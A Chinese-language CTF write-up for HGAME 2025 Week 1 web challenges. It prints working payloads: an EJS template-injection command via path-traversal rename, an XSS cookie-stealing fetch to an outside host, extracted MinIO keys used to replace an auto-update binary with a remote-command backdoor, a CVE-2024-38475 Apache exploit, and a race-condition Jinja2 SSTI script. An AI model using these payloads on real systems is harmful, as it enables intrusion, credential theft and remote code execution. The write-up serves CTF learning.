HGAME CTF 2025 Week1 Web WP
2025-02-12|CTF

Level 24 Pacman

前端小游戏,先看看静态资源,JS 里应该有东西

alt text

疑似混淆过,先放到在线解混淆网站再看(顺便还会把代码格式化)。扫一眼,index.js 里面接近末尾的地方有两个 Base64

alt text

解出来是 haeu4epca_4trgm{_r_amnmse}haepaiemkspretgm{rtc_ae_efc},很像 flag 打乱了位置。试试栅栏密码(下图是枚举解密)

alt text

Level 47 BandBomb

给了源码:

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

文件上传功能。注意到 /rename 接口允许用户重命名上传的文件,并且没有过滤。因此首先考虑目录穿越,看看能不能覆盖掉某些文件。从源码中可以看到上传文件路径是 __dirname/uploads

上传一个文件,在 /rename 接口重命名为 ../app.js 没有生效,似乎文件名并不是 app.js

另外注意到服务端使用了 EJS 模板引擎,使用的模板文件名是 mortis。也许可以覆盖 mortis.ejs 打 SSTI

Express 模板文件默认在项目的 views 目录下

写一个 override.ejs,内容如下:

<%- global.process.mainModule.require('child_process').execSync('env') %>

上传,重命名为 ../views/mortis.ejs (注意 Content-Type 字段需要是 application/json)

{
  "oldName": "override.ejs",
  "newName": "../views/mortis.ejs"
}

alt text

回到根路由即可看到环境变量,CTRL+F 搜索 hgame 即可找到 flag

Level 69 MysteryMessageBoard

进去是一个留言板。提示 shallot 要登录,以它为用户名爆破可以爆出弱密码 888888

目录扫描可以扫到 /admin 接口,按照提示应该是访问之后 "admin" 会查看留言板

所以在留言板进行 XSS 攻击盗取 Cookie

<script>fetch('https://6x6j4aru.requestrepo.com/', {method: 'POST',body: document.cookie});</script>

alt text

现在有了 admin 的 cookie session=MTczODY0NzI3MnxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV8vYPr136joyeV7b8rFpjC9C4xb24g0k8AR9hk905F8B0=。但是带上 cookie 访问各个页面都没有什么区别,于是尝试带着 Cookie 扫描目录:

alt text

发现有 /flag 接口,带着 admin 的 Cookie 访问得到 flag

Level 25 双面人派对

Step I

给了两个容器环境 port-forwarder.serviceapp.service,第二个环境可以在浏览器访问,页面可以下载一个 main 文件,看起来是可执行程序,运行它看看

alt text

可以看到程序一直在试图连接回环地址 9000 端口,当前本机上没有相应的服务,所以连接失败。在浏览器访问第一个容器的 /prodbucket?location= 提示 Access Denied,可能是权限不足

访问 http://localhost:8080 还可以看到网页把程序所在目录下的所有文件都列出来了

调试信息由 GIN-debug 提供,所以这是一个 Go 语言程序(GIN 框架)

题目描述提到需要与 0 号实体沟通,应该需要让程序与第一个题目容器通信。于是在本地启动一个 socat 转发:

socat TCP-LISTEN:9000,fork,reuseaddr TCP:node1.hgame.vidar.club:30443

启动 tcpdump 捕获发到 9000 端口的包

sudo tcpdump -i lo -nn 'port 9000' -w main_to_9000.pcap

然后 ./main 启动程序,发现连接失败的错误消失了

开启 socat 转发时启动 main 没有输出且流量包没有 http 请求可能是因为程序监听的端口被占用,lsof -i :8080 查看端口占用请求然后 kill 掉即可

alt text

打开抓包得到的 pcap 文件,跟踪 TCP 流:

GET /prodbucket/?location= HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: MinIO (linux; amd64) minio-go/v7.0.83
Authorization: AWS4-HMAC-SHA256 Credential=minio_admin/20250206/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=3bdb7b77d6392a75f04bf78589f6996383b4ae8c1f90c7a34d2d168122e7e873
X-Amz-Content-Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Date: 20250206T064428Z


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 128
Content-Type: application/xml
Server: MinIO
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
Vary: Accept-Encoding
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 18218B75BF6EBF2B
X-Content-Type-Options: nosniff
X-Ratelimit-Limit: 304
X-Ratelimit-Remaining: 304 
X-Xss-Protection: 1; mode=block
Date: Thu, 06 Feb 2025 06:44:28 GMT

<?xml version="1.0" encoding="UTF-8"?>
<LocationConstraint xmlns="http://s3.amazonaws.com/doc/2006-03-01/"></LocationConstraint>
GET /prodbucket/update HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: MinIO (linux; amd64) minio-go/v7.0.83
Authorization: AWS4-HMAC-SHA256 Credential=minio_admin/20250206/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=892fe2323a5c5ee359bad55a215fb58f5682327576c1403b02fbe81cdbf785ea
X-Amz-Content-Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
X-Amz-Date: 20250206T064429Z


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 7018224
Content-Type: application/octet-stream
ETag: "1bc1c804bed3623304b73f26d634484b"
Last-Modified: Fri, 17 Jan 2025 14:11:09 GMT
Server: MinIO
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
Vary: Accept-Encoding
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 18218B75C5713514
X-Content-Type-Options: nosniff
X-Ratelimit-Limit: 304
X-Ratelimit-Remaining: 304
X-Xss-Protection: 1; mode=block
Date: Thu, 06 Feb 2025 06:44:29 GMT

后面是大段的重复数据

MinIO 是一个兼容 Amazon S3 API 的对象存储服务,可以使用 AWS SDK 与 MinIO 进行通信。此处存储桶名称为 prodbucket,对象键为 update

注意到发到 127.0.0.1:9000 的请求有 Authorization 和几个 X 开头的字段,由于之前访问一个路径提示拒绝访问,可以将它们复制过来,带上这些请求头再访问一下 /prodbucket/?location= 看看:

RequestTimeTooSkewed The difference between the request time and the server's time is too large.

alt text

需要伪造这些请求头字段(如果只是生成一个 X-Aws-Date,会提示签名无效)。为了伪造身份,需要 AccessKey 和 SecretKey

由于程序在我的电脑上也能正常与服务器通信,密钥应该是硬编码进程序了

Step II

尝试在程序内部寻找更多信息。main 拖进 IDA Pro 发现只有两个函数,应该是加壳了。拖进 Exeinfo PE 看看

alt text

有 upx 壳,于是使用脱壳工具 https://github.com/upx/upx/releases

upx -d main

重新拖进 IDA,出现了很多函数。首先看 main_main 函数

alt text

注意到关键词 AccessKey SecretKey,这些字段都存储在 level25_conf_* 配置结构中。Shift + F12 查看字符串,CTRL + F 搜索可能的关键词。搜索 endpoint 时看到最下面有需要的信息

alt text

双击点开

alt text

Step III

现在有了密钥,可以在 Python 中使用 boto3 库与 MinIO 服务通信。以下代码仿照了之前 main 程序获取 update 数据

import boto3
from botocore.exceptions import NoCredentialsError

ENDPOINT = 'node1.hgame.vidar.club:31363' # port-forwarder.service - unknown 容器
AWS_ACCESS_KEY = 'minio_admin'
AWS_SECRET_KEY = 'JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs='
BUCKET = "prodbucket"
KEY = "update"

if __name__ == '__main__':
    # 创建 S3 客户端
    client = boto3.client(
        's3',
        endpoint_url=f'http://{ENDPOINT}',
        aws_access_key_id=AWS_ACCESS_KEY,
        aws_secret_access_key=AWS_SECRET_KEY,
        config=boto3.session.Config(signature_version='s3v4'),
        region_name='us-east-1'
    )

    try:
        # 获取对象
        response = client.get_object(Bucket=BUCKET, Key=KEY)
        data = response['Body'].read()
        print(f"Object data: {data}")
    except NoCredentialsError:
        print("Credentials not available")
    except Exception as e:
        print(f"An error occurred: {e}")

运行得到了一大串二进制数据,说明成功冒充 main 与服务器进行通信,并获取了存储在 MinIO 存储桶中的文件 (update)。通过 client.list_objects(Bucket=BUCKET) 可以获取桶中对象

{'ResponseMetadata': {'RequestId': '1821D64B6E0DA122', 'HostId': 'dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8', 'HTTPStatusCode': 200, 'HTTPHeaders': {'accept-ranges': 'bytes', 'content-length': '591', 'content-type': 'application/xml', 'server': 'MinIO', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'vary': 'Origin, Accept-Encoding', 'x-amz-id-2': 'dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8', 'x-amz-request-id': '1821D64B6E0DA122', 'x-content-type-options': 'nosniff', 'x-ratelimit-limit': '304', 'x-ratelimit-remaining': '304', 'x-xss-protection': '1; mode=block', 'date': 'Fri, 07 Feb 2025 05:35:50 GMT'}, 'RetryAttempts': 0}, 'IsTruncated': False, 'Marker': '', 'Contents': [{'Key': 'update', 'LastModified': datetime.datetime(2025, 1, 17, 14, 11, 9, 932000, tzinfo=tzutc()), 'ETag': '"1bc1c804bed3623304b73f26d634484b"', 'Size': 7018224, 'StorageClass': 'STANDARD', 'Owner': {'DisplayName': 'minio', 'ID': '02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4'}}], 'Name': 'prodbucket', 'Prefix': '', 'MaxKeys': 1000, 'EncodingType': 'url'}

只有一个 key "update"。去其他桶看看(通过 client.list_buckets() 获取所有桶)

alt text

看到除了 prodbucket 还有一个 hints 桶,再通过 client.list_objects(bucket='hints') 看看

{'ResponseMetadata': {'RequestId': '1821D77DD3AE35FE', 'HostId': 'dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8', 'HTTPStatusCode': 200, 'HTTPHeaders': {'accept-ranges': 'bytes', 'content-length': '584', 'content-type': 'application/xml', 'server': 'MinIO', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'vary': 'Origin, Accept-Encoding', 'x-amz-id-2': 'dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8', 'x-amz-request-id': '1821D77DD3AE35FE', 'x-content-type-options': 'nosniff', 'x-ratelimit-limit': '304', 'x-ratelimit-remaining': '304', 'x-xss-protection': '1; mode=block', 'date': 'Fri, 07 Feb 2025 05:57:46 GMT'}, 'RetryAttempts': 0}, 'IsTruncated': False, 'Marker': '', 'Contents': [{'Key': 'src.zip', 'LastModified': datetime.datetime(2025, 1, 17, 14, 11, 5, 970000, tzinfo=tzutc()), 'ETag': '"69dfd5075a6ba49c7c6e82a7d7700574"', 'Size': 8433, 'StorageClass': 'STANDARD', 'Owner': {'DisplayName': 'minio', 'ID': '02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4'}}], 'Name': 'hints', 'Prefix': '', 'MaxKeys': 1000, 'EncodingType': 'url'}

有一个 src.zip key,把它下载下来

import boto3
from botocore.exceptions import NoCredentialsError

ENDPOINT = 'node1.hgame.vidar.club:31348' # port-forwarder.service - unknown 容器
AWS_ACCESS_KEY = 'minio_admin'
AWS_SECRET_KEY = 'JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs='
BUCKET = "hints"
KEY = "src.zip"

if __name__ == '__main__':
    client = boto3.client(
        's3',
        endpoint_url=f'http://{ENDPOINT}',
        aws_access_key_id=AWS_ACCESS_KEY,
        aws_secret_access_key=AWS_SECRET_KEY,
        config=boto3.session.Config(signature_version='s3v4'),
        region_name='us-east-1'
    )

    try:
        response = client.get_object(Bucket=BUCKET, Key=KEY)
        data = response['Body'].read()
        with open('src.zip', 'wb') as f:
            f.write(data)
    except NoCredentialsError:
        print("Credentials not available")
    except Exception as e:
        print(f"An error occurred: {e}")

解压 src.zip 得到 Go 语言源码

Step IV

看看源码。main.go

package main

import (
    "level25/fetch"

    "level25/conf"

    "github.com/gin-gonic/gin"
    "github.com/jpillora/overseer"
)

func main() {
    fetcher := &fetch.MinioFetcher{
        Bucket:    conf.MinioBucket,
        Key:       conf.MinioKey,
        Endpoint:  conf.MinioEndpoint,
        AccessKey: conf.MinioAccessKey,
        SecretKey: conf.MinioSecretKey,
    }
    overseer.Run(overseer.Config{
        Program: program,
        Fetcher: fetcher,
    })

}

func program(state overseer.State) {
    g := gin.Default()
    g.StaticFS("/", gin.Dir(".", true))
    g.Run(":8080")
}

conf/conf.go

package conf

import (
    "os"

    _ "embed"

    "gopkg.in/yaml.v3"
)

//go:embed config.default.yaml
var defaultConfig []byte

type Config struct {
    Minio struct {
        Endpoint  string `yaml:"endpoint"`
        AccessKey string `yaml:"access_key"`
        SecretKey string `yaml:"secret_key"`
        Bucket    string `yaml:"bucket"`
        Key       string `yaml:"key"`
    } `yaml:"minio"`
}

var (
    MinioEndpoint  string
    MinioAccessKey string
    MinioSecretKey string
    MinioBucket    string
    MinioKey       string
)

func init() {
    config := loadConfig()

    // 直接使用配置文件中的值
    MinioEndpoint = config.Minio.Endpoint
    MinioAccessKey = config.Minio.AccessKey
    MinioSecretKey = config.Minio.SecretKey
    MinioBucket = config.Minio.Bucket
    MinioKey = config.Minio.Key
}

func loadConfig() Config {
    var config Config

    // 尝试读取外部配置文件
    data, err := os.ReadFile("config.yaml")
    if err != nil {
        // 如果外部配置不存在,使用嵌入的默认配置
        data = defaultConfig
    }

    // 解析YAML
    if err := yaml.Unmarshal(data, &config); err != nil {
        panic("Failed to parse config: " + err.Error())
    }

    return config
}

fetch/minio_fetcher.go

package fetch

import (
    "context"
    "io"

    "github.com/jpillora/overseer/fetcher"
    "github.com/minio/minio-go/v7"
    "github.com/minio/minio-go/v7/pkg/credentials"
)

type MinioFetcher struct {
    Bucket    string
    Key       string
    Region    string
    Endpoint  string
    AccessKey string
    SecretKey string
    client    *minio.Client
}

var _ fetcher.Interface = &MinioFetcher{}

func (f *MinioFetcher) Init() error {
    client, err := minio.New(f.Endpoint, &minio.Options{
        Creds:  credentials.NewStaticV4(f.AccessKey, f.SecretKey, ""),
        Region: f.Region,
    })
    if err != nil {
        return err
    }
    f.client = client
    return nil
}
func (f *MinioFetcher) Fetch() (io.Reader, error) {
    obj, err := f.client.GetObject(context.Background(), f.Bucket, f.Key, minio.GetObjectOptions{})
    if err != nil {
        return nil, err
    }
    return obj, nil
}

一眼看下来就是从 MinIO 服务里通过 update key 从 prodbucket 下载文件,根据 update 词义像是把程序本身替换(更新)成下载的文件。先来看看如果把 update 文件换成别的会发生什么

修改 main.go 如下

package main

import (
    "level25/fetch"

    "level25/conf"

    "github.com/gin-gonic/gin"
    "github.com/jpillora/overseer"

    "log"
    "net/http"
    "os/exec"
)

func main() {
    fetcher := &fetch.MinioFetcher{
        Bucket:    conf.MinioBucket,
        Key:       conf.MinioKey,
        Endpoint:  conf.MinioEndpoint,
        AccessKey: conf.MinioAccessKey,
        SecretKey: conf.MinioSecretKey,
    }
    overseer.Run(overseer.Config{
        Program: program,
        Fetcher: fetcher,
    })

}

func program(state overseer.State) {
    g := gin.Default()
    // g.StaticFS("/", gin.Dir(".", true))
    g.GET("/", func(c *gin.Context) {
        c.JSON(http.StatusOK, gin.H{
            "message": "success",
        })
    })

    g.GET("/rce", func(c *gin.Context) {
        cmdStr := c.Query("cmd")
        if cmdStr == "" {
            c.JSON(http.StatusBadRequest, gin.H{"error": "missing cmd parameter"})
            return
        }

        out, err := exec.Command("sh", "-c", cmdStr).Output()
        if err != nil {
            log.Println("Command execution error:", err)
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }

        c.JSON(http.StatusOK, gin.H{
            "result": string(out),
        })
    })

    g.Run(":8080")
}

下载依赖并编译项目

go mod tidy
go build -o update
mv update ../
cd ../

通过 update key 上传并覆盖原来的文件

import boto3
from botocore.exceptions import NoCredentialsError

ENDPOINT = 'node1.hgame.vidar.club:31348' # port-forwarder.service - unknown 容器
AWS_ACCESS_KEY = 'minio_admin'
AWS_SECRET_KEY = 'JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs='
BUCKET = "prodbucket"
KEY = "update"

if __name__ == '__main__':
    client = boto3.client(
        's3',
        endpoint_url=f'http://{ENDPOINT}',
        aws_access_key_id=AWS_ACCESS_KEY,
        aws_secret_access_key=AWS_SECRET_KEY,
        config=boto3.session.Config(signature_version='s3v4'),
        region_name='us-east-1'
    )

    try:
        local_file_path = 'update'
        with open(local_file_path, 'rb') as f:
            client.put_object(Bucket=BUCKET, Key=KEY, Body=f)
        print("File uploaded and replaced successfully.")

    except NoCredentialsError:
        print("Credentials not available")
    except Exception as e:
        print(f"An error occurred: {e}")

等待一会成功上传,回到浏览器访问第二个容器(app.service),发现返回了自己定义的 JSON。说明程序已更新为自己上传的程序。

alt text

访问之前定义的接口即可执行系统命令(/rce?cmd=cat /flag

alt text

Level 38475 角落

首先可以看到根路由的服务器是 Apache/2.4.59 (Unix)

点击按钮进去是一个留言板,服务器是 Werkzeug/2.2.2 Python/3.11.2。XSS 测试没有反应

目录扫描发现有 /robots.txt,内容是 User-agent: * Disallow: /app.conf Disallow: /app/*

app.conf 内容:

# Include by httpd.conf
<Directory "/usr/local/apache2/app">
    Options Indexes
    AllowOverride None
    Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

从这个 Apache 配置可以看到 /admin/(.*) 下 User-Agent 以 L1nk/ 开头时会重写 URL 到 /$1.html?secret=todo。如下请求会跳转到 /index.html?secret=todo

GET /admin/index HTTP/1.1
Host: node2.hgame.vidar.club:32444
User-Agent: L1nk/test

在官网查找相关漏洞:Apache HTTP Server 2.4 vulnerabilities。有关 URL 重写的已知漏洞可以找到 CVE-2024-38475

根据配置内容,对 app.py 的访问进行了限制,利用 CVE-2024-38475 访问 app.py 的绝对路径:

curl -i node1.hgame.vidar.club:32225/admin/usr/local/apache2/app/app.py%3fooo.py -A 'L1nk/Exploit'

服务器响应在请求体中中给出了 app.py 的源码

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
        filename = pwd + "/tmp/message.txt"
        if os.path.exists(filename):
                f = open(filename, 'r')
                message = f.read()
                f.close()
                return message
        else:
                return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
        status = request.args.get('status')
        if status is None:
                status = ''
        return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
        filename = pwd + "/tmp/message.txt"
        message = request.form['message']

        f = open(filename, 'w')
        f.write(message) 
        f.close()

        return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
        if "{" not in readmsg():
                show = show_msg.replace("{{message}}", readmsg())
                return render_template_string(show)
        return 'waf!!'


if __name__ == '__main__':
        app.run(host = '0.0.0.0', port = 5000)

过滤了单个 { ,一般来说完全没有花括号是没法打 Jinja2 SSTI 的,考虑从代码其他部分入手

代码中有可疑的文件读写操作,想到条件竞争,写个脚本利用

TARGET="http://node1.hgame.vidar.club:32078"

FRIENDLY="Friendly message"
MALICIOUS="Success: {{''.__class__.__base__.__subclasses__()[103].__init__.__globals__['__import__']('os').popen('cat /flag').read()}}"

echo "Exploiting ${TARGET}..."
curl -s -X POST -d "message=${FRIENDLY}" ${TARGET}/app/send > /dev/null

(
  while true; do
    curl -s -X POST -d "message=${FRIENDLY}" ${TARGET}/app/send > /dev/null &
    curl -s -X POST -d "message=${MALICIOUS}" ${TARGET}/app/send > /dev/null &
    sleep 0.1
  done
) &
WRITER_PID=$!

while true; do
  RESPONSE=$(curl -s ${TARGET}/app/read)
  if echo "$RESPONSE" | grep -o "Latest message: Success: .*"; then
    echo "Exploited successfully: $RESPONSE"
    kill $WRITER_PID
    exit 0
  fi
done